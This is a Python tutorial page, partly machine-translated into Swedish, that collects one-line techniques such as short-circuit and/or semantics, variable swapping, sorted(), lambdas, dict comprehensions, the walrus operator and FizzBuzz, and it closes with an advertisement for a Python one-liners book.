>>> [] and 42
[]

How do the and and or operator work when applied to non-Boolean operands?

To understand what is going on, you need to look at the definitions of the Boolean operators:

Operator Beskrivning
a or b Returns b if the expression a evaluates to False using implicit Boolean conversion. If the expression a evaluates to True , the expression a is returned.
a and b Returns b if the expression a evaluates to True using implicit Boolean conversion. If the expression a evaluates to False , the expression a is returned.

Study these explanations thoroughly! The return value is of the same data type of the operands—they only return a Boolean value if the operands are already Boolean!

This optimization is called short-circuiting and it’s common practice in many programming languages. For example, it’s not necessary to evaluate the result of the second operand of an and operation if the first operand evaluates to False . The whole operation must evaluate to False in this case because the logical and only returns True if both operands are True .

Python goes one step further using the property of implicit Boolean conversion. Every object can be implicitly converted to a Boolean value. That’s why you see code like this:

l = []
if l:
    print('hi')
else:
    print('bye')
# bye

You pass a list into the if condition. Python then converts the list to a Boolean value to determine which branch to visit next. The empty list evaluates to False . All other lists evaluate to True , so the result is bye .

Together, short circuiting and implicit Boolean conversion allow the logical operators and and or to be applied to any two Python objects as operands. The return value always is one of the two operands using the short circuiting rules described in the table.

Python One Line Conditional Assignment

Problem :How to perform one-line if conditional assignments in Python?

Exempel :Say, you start with the following code.

x = 2
boo = True

You want to set the value of x to 42 if boo is True , and do nothing otherwise.

Let’s dive into the different ways to accomplish this in Python. We start with an overview:

Träning :Kör koden. Are all outputs the same?

Next, you’ll dive into each of those methods and boost your one-liner superpower!

Related Articles:

  • Python One Line Conditional Assignment
  • Python One Line Ternary
  • Python Ternary — Tuple Syntax Hack
  • If-Then-Else in One Line Python [Video + Interactive Code Shell]

Python One Line Swap

Problem :Given two variables a and b . Use a single line of Python code to swap the variables to assign the value of a to b and the value of b to a .

Exempel :Say, you have to integers a=21 and b=42 . You want to swap the variables so that a=42 and b=21 .

a = 21
b = 42
# SWAP MAGIC HERE
print(a, b)
# 42 21

How to swap to variables as a Python one-liner?

To swap two variables a and b, use the multiple assignment expression a, b = b, a that assigns the value of a to b and the value of b to a .

a = 21
b = 42

# Swap One-Liner
a, b = b, a

# Print the result to the shell
print(a, b)
# 42 21

Find a detailed explanation of this one-liner at our interactive code tutorial:

Related tutorial :How to Swap Two Variables in One Line Python?

Python One Line Sum

Problem :How to sum over all values in a given Python list?

a = [1, 2, 3]

You want to calculate the sum of all values in the list—using only a single line of Python code!

# RESULT: 6

Lösning :Python’s built-in sum() function helps you to sum over all values in an iterable, such as a Python list. Here’s the minimal code example.

a = [1, 2, 3]

print(sum(a))
# 6

Hur fungerar det? The syntax is sum(iterable, start=0) :

Argument Beskrivning
iterable Sum over all elements in the iterable . Detta kan vara en lista, en tuppel, en uppsättning eller någon annan datastruktur som låter dig iterera över elementen.
Exempel :sum([1, 2, 3]) returns 1+2+3=6 .
start (Optional.) The default start value is 0. If you define another start value, the sum of all values in the iterable kommer att läggas till detta startvärde.
Exempel :sum([1, 2, 3], 9) returns 9+1+2+3=15 .

Please find more details in the complete tutorial about summing over all values in a list and a nested list:

Relaterad självstudie :Python One Line Sum List

Python One Line Sort

To sort and return a Python list in a single line of code, use the sorted(list) method that returns a new list of sorted elements. It copies only the references to the original elements so the returned list is not a deep but a shallow copy.

Problem :Given a list of comparable objects such as integers or floats. Is there a way to sort the list and return the sorted list in a single line of Python code?

Exempel :Say, you’ve got the following list.

a = [4, 2, 1, 3]

You want to sort this list and return the result in a single line. If you use the list.sort() method, the return value is None :

print(a.sort())
# None

The return value of the list.sort() method is None , but many coders expect it to be the sorted list. So they’re surprised finding out that their variables contain the None type rather than a sorted list.

Here’s a quick overview of the methods to accomplish this:

Träning :Change the list to be sorted by adding negative floats. Does it still work?

Do you want to learn more about each of the methods? Check out my related tutorial:

Related tutorial :How to Sort and Return a Python List in One Line?

Python One Line Semicolon

Here’s how one may use the semicolon:

x = 'hi'; y = 'young'; z = 'friend'; print(x, y, z);

If you run this Python one-liner with semicolons, you’ll get the following output:

hi young friend

On the first view, it doesn’t even look like Python code! C++ has semicolons. Java has semicolons. But Python is supposed to be a semicolon-free language, isn’t it?

The meaning of the semicolon in programming languages such as Java and C++ is to terminate the current statement . In those languages, you’ll use it after every single line. Without it, the interpreter believes that the code has not terminated yet and it starts looking for more. Any Java or C++ coder knows situations where an error occurred because they forgot to use a semicolon in their code.

In Python, however, semicolons have a slightly different meaning. They allow you to create so-called compound statements. The if construct is a compound statement. The for loop is a compound statement. And, a number of semicolon-separated Python statements are compound statements.

Relaterad artikel :Python Semicolons:How They Work and Why Haters Tell You to Avoid Them

Python One Line Function Definition

A lambda function allows you to define a function in a single line. It starts with the keyword lambda , följt av en kommaseparerad lista med noll eller fler argument, följt av kolon och returuttrycket. For example, lambda x, y: x+y calculates the sum of the two argument values x+y in one line of Python code.

Problem :How to define a function in a single line of Python code?

Exempel :Say, you’ve got the following function in three lines. How to compress them into a single line of Python code?

def say_hi(*friends):
    for friend in friends:
        print('hi', friend)

friends = ['Alice', 'Bob', 'Ann']
say_hi(*friends)

The code defines a function say_hi that takes an iterable as input—the names of your friends—and prints 'hi x' for each element x in your iterable.

Utdata är:

'''
hi Alice
hi Bob
hi Ann
'''

Let’s dive into the different methods to accomplish this! First, here’s a quick interactive overview to test the waters:

Träning :Run the code—is the output the same for all four methods?

In the following article, you’ll learn about each method in greater detail!

Relaterad artikel :Python One Line Function Definition

Python One Line Dictionary

Utmaning :Say, you want to have the list indices as keys and the list elements as values.

# Given a list:
a = ['Alice', 'Liz', 'Bob']

# One-Line Statement Creating a Dict:
d = dict(enumerate(a))

print(d)
# {0: 'Alice', 1: 'Liz', 2: 'Bob'}

The one-liner dict(enumerate(a)) first creates an iterable of (index, element) tuples from the list a using the enumerate fungera. The dict() constructor than transforms this iterable of tuples to (key, value) mappings. The index tuple value becomes the new key . The element tuple value becomes the new value .

Learn more about different one-liners in the context of dictionaries in this blog article:

Relaterad artikel: Python One Line Dictionary

Python One Line Dict Comprehension

Dictionary Comprehension is a concise and memory-efficient way to create and initialize dictionaries in one line of Python code. It consists of two parts:expression and context. The expression defines how to map keys to values. The context loops over an iterable using a single-line for loop and defines which (key,value) pairs to include in the new dictionary.

Relaterad artikel: Python Dictionary Comprehension

Python One Line Docstring

Per konvention använder du enrads docstrings om funktionen, modulen, klassen eller metoden är uppenbar nog att motivera en kort förklaring - men inget mer. Du kan bifoga en rad docstring inom enkla citattecken, dubbla citattecken eller till och med trippelcitattecken. Det mest pytoniska sättet är dock att omsluta den enradiga docstringen i ett trippelcitat.

Till exempel kan följande funktion lätt förstås. Därför räcker det med en enliners docstring för att beskriva dess beteende:

def add(x, y):
    '''Add both arguments and returns their sum.'''
    return x + y


print(add.__doc__)
# Add both arguments and returns their sum.

Relaterad artikel :Python One Line Docstring

Python One Line Download File

Sammanfattning :Download a file over the web by using the following steps in Python.

  • Import libary requests
  • Define URL string
  • Get file data from URL
  • Store file data in file object on your computer

Here’s how you can do this to download the Facebook Favicon (source):


At the beginning of our struggle with web scraping, you may have trouble downloading files using Python. However, the following article provides you with several methods that you can use to download, for example, the cover of a book from the page.

Relaterad artikel: How to Download a File Over HTTPS in Python?

Python One Line For Loop Append

However, a much better option to append all elements in a given iterable to a given list is to use the list.extend() metod:

# Method 3
friends = ['Ann', 'Alice']
new_friends = ['Bob', 'Liz']

# One-Liner:
friends.extend(new_friends)

# Results
print(friends)
# ['Ann', 'Alice', 'Bob', 'Liz']

The one-liner is much shorter and even faster. You can find a detailed speed comparison here.

Relaterad artikel: Python One Line For Loop Append

Python One Line Generator

A generator function is a Pythonic way to create an iterable without explicitly storing it in memory. This reduces memory usage of your code without incurring any additional costs.

Problem :Can we write a one-line generator?

Here’s the code that accomplishes this:

print(sum(random.random() for i in range(1000)))

The code consists of the following parts:

  • The print() function prints the result of the expression to the shell.
  • The sum() function sums over all values in the following iterable.
  • The generator expression random.random() for i in range(1000) generates 1000 random numbers and feeds them into the outer sum() function without creating all of them at once.

This way, we still don’t store the whole list of 1000 numbers in memory but create them dynamically.

Relaterad artikel: Python One Line Generator

Python One-Line Password Generator

The following interactive code shell creates a random password for you—using only a single line of Python code!

Relaterad artikel: Python One-Line Password Generator

Python One Line HTTP Get

This tutorial shows you how to perform simple HTTP get and post requests to an existing webserver!

Problem :Given the URL location of a webserver serving websites via HTTP. How to access the webserver’s response in a single line of Python code?

Exempel :Say, you want to accomplish the following:

url = 'https://google.com'
# ... Magic One-Liner Here...
print(result)
# ... Google HTML file:
'''
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="de"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title>...
'''

You can try it yourself in our interactive Python shell:

Träning :Does this script download the complete source code of the Google.com website?

Let’s learn about the three most important methods to access a website in a single line of Python code—and how they work!

Python Global in One Line

To update a global variable in one line of Python, retrieve the global variable dictionary with the globals() function, and access the variable by passing the variable name as a string key such as globals()['variable'] . Then overwrite the global variable using the equal symbol, for example in globals()['variable'] = 42 to overwrite the variable with value 42 .

a = 42
def update_3():
    globals()['a'] = 21


update_3()
print(a)
# 21

The code first accesses all global variables using the globals() funktion som returnerar en ordbok som mappar namn till objekt. You access the value associated to the key 'a' . The return value is the object to which global variable a poäng.

Relaterad artikel: Python One Line Global

Python One Line FizzBuzz

The FizzBuzz problem is a common exercise posed in code interviews to test your proficiency in writing simple Python code.

Problem :Print all numbers from 1-100 to the shell with three exceptions:

  • For each number divisible by three you print "Fizz" ,
  • For each number divisible by five you print "Buzz" och
  • For each number divisible by three and five you print "FizzBuzz" .

Exempel :The first 15 numbers of the FizzBuzz sequence are the following.

1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
...

How to write a Python one-liner that solves this problem?

Here’s an interactive overview:

Träning :Do both one-liners produce the same results? Run the code to check!

Let’s dive into those one-liners to gain a deeper understanding of the matter!

Relaterad självstudie :Python One Line FizzBuzz

Python One Line Hello World

Steg 1: Here’s an interactive browser-based shell:

The shell runs any Python program in your browser.

Step 2 :Type the print function in your browser shell with opening and closing parentheses that are initially empty:

print()

The print() function takes a string and prints it to your shell. This way, you can generate outputs in your program. Think about it:a Python program is only a means to an end. It transform an input to an output. One way of creating an output is to print program values to the shell. In our hello world one-liner, the output is the textual data (=string) 'hello world' .

Step 3 :Pass the 'hello world' string into the print() function between the parentheses.

print('hello world')

Congratulations, your first hello world one-liner is ready! Now, there’s only one thing left:

Step 4 :Run the hello world one-liner program by hitting the “Run” symbol ▶.

Can you see the output generated by your program? When running your program in the interactive shell, the result should be the following output:

hello world

Relaterad artikel :Hello World! A Python One-Liner to Get Started with Python Quickly

Python One Line Comment

Kommentarer på en rad begin with the hash (# ) tecken och nå till slutet av raden. Nyradstecknet avslutar betydelsen av kommentaren – vilket är för Python-tolken att ignorera den kommenterade texten. Ett specialfall är inline-kommentarer som används efter en vanlig Python-sats men före nyradstecknet. PEP 8-standarden rekommenderar att man använder dem sparsamt.

# This is a one-line comment

print('hi') # This is an inline comment

Relaterad artikel :Python Comments — 2-Minute Guide with Exercise

Python One Line Class

Problem :How to create a Python class in a single line of code?

Exempel :Say, you want to create a class Car with two attributes speed and color . Here would be the lengthy definition:

class Car:

    def __init__(self, speed, color):
        self.speed = speed
        self.color = color


porsche = Car(200, 'red')
tesla = Car(220, 'silver')

print(porsche.color)
# red

print(tesla.color)
# silver

How do you do this in a single line of code?

Mer läsning: Python One Line Class

Python Define Multiple Variables in One Line

In this article, you’ll learn about two variants of this problem.

  • Assign multiple values to multiple variables
  • Assign the same value to multiple variables

Let’s have a quick overview of both in our interactive code shell:

Träning :Increase the number of variables to 3 and create a new one-liner!

Relaterad artikel :Python Define Multiple Variables in One Line

Python One Line If (Not) None

Problem :How to assign a value to a variable if it is not equal to None —using only a single line of Python code?

Lösning :A beautiful extension of Python 3.8 is the Walrus operator. The Walrus operator := is an assignment operator with return value. Thus, it allows you to check a condition and assign a value at the same time:

# Method 2
if tmp := get_value(): x = tmp

This is a very clean, readable, and Pythonic way. Also, you don’t have the redundant identity assignment in case the if condition is not fulfilled.

Relaterade artiklar:

  • The Walrus Operator in Python 3.8
  • Python One-Line Assign If Not None

Python One Line Map

Consider the following map() one-liner that changes each element x of a list to the value of x+1 :

print(list(map(lambda x: x + 1, [1, 2, 3])))
# [2, 3, 4]

You create a list with three elements. Then, you create an anonymous function that takes one argument (an integer in our case) and increments it by one. The map function applies the function to each element in the list and returns a new map object. This is converted back to a list using the list(...) fungera.

Relaterad artikel: Python One Line Map

Python One-Liners Book:Bemästra den enda raden först!

Python-programmerare kommer att förbättra sina datavetenskapliga färdigheter med dessa användbara one-liners.

Python One-Liners kommer att lära dig hur man läser och skriver "one-liners":koncisa uttalanden om användbar funktionalitet packade i en enda rad kod. Du kommer att lära dig hur du systematiskt packar upp och förstår vilken rad som helst med Python-kod och skriver vältalig, kraftfullt komprimerad Python som en expert.

Bokens fem kapitel omfattar (1) tips och tricks, (2) reguljära uttryck, (3) maskininlärning, (4) grundläggande datavetenskapliga ämnen och (5) användbara algoritmer.

Detaljerade förklaringar av one-liners introducerar nyckelbegrepp inom datavetenskap och öka dina kodnings- och analytiska färdigheter . Du kommer att lära dig om avancerade Python-funktioner som listförståelse , skiva , lambda-funktioner , reguljära uttryck , karta och minska funktioner och segmenttilldelningar .

Du kommer också att lära dig hur du:

  • Utnyttja datastrukturer för att lösa verkliga problem , som att använda boolesk indexering för att hitta städer med föroreningar över genomsnittet
  • Använd NumPy grunderna som array , form , axel , typ , sändning , avancerad indexering , skiva , sortering , söker , aggregerar och statistik
  • Beräkna grundläggande statistik av flerdimensionella datamatriser och K-Means-algoritmerna för oövervakad inlärning
  • Skapa fler avancerade reguljära uttryck med gruppering och namngivna grupper , negativa framtidsutsikter , escaped tecken , blanksteg, teckenuppsättningar (och negativa teckenuppsättningar ), och giriga/icke giriga operatorer
  • Förstå ett brett utbud av datavetenskapliga ämnen , inklusive anagram , palindromer , superuppsättningar , permutationer , faktorer , primtal , Fibonacci siffror, obfuskation , söker och algoritmisk sortering

I slutet av boken vet du hur du skriver Python när den är mest raffinerad , och skapa koncisa, vackra delar av "Python-konst" på bara en enda rad.

Hämta dina Python One-Liners på Amazon!!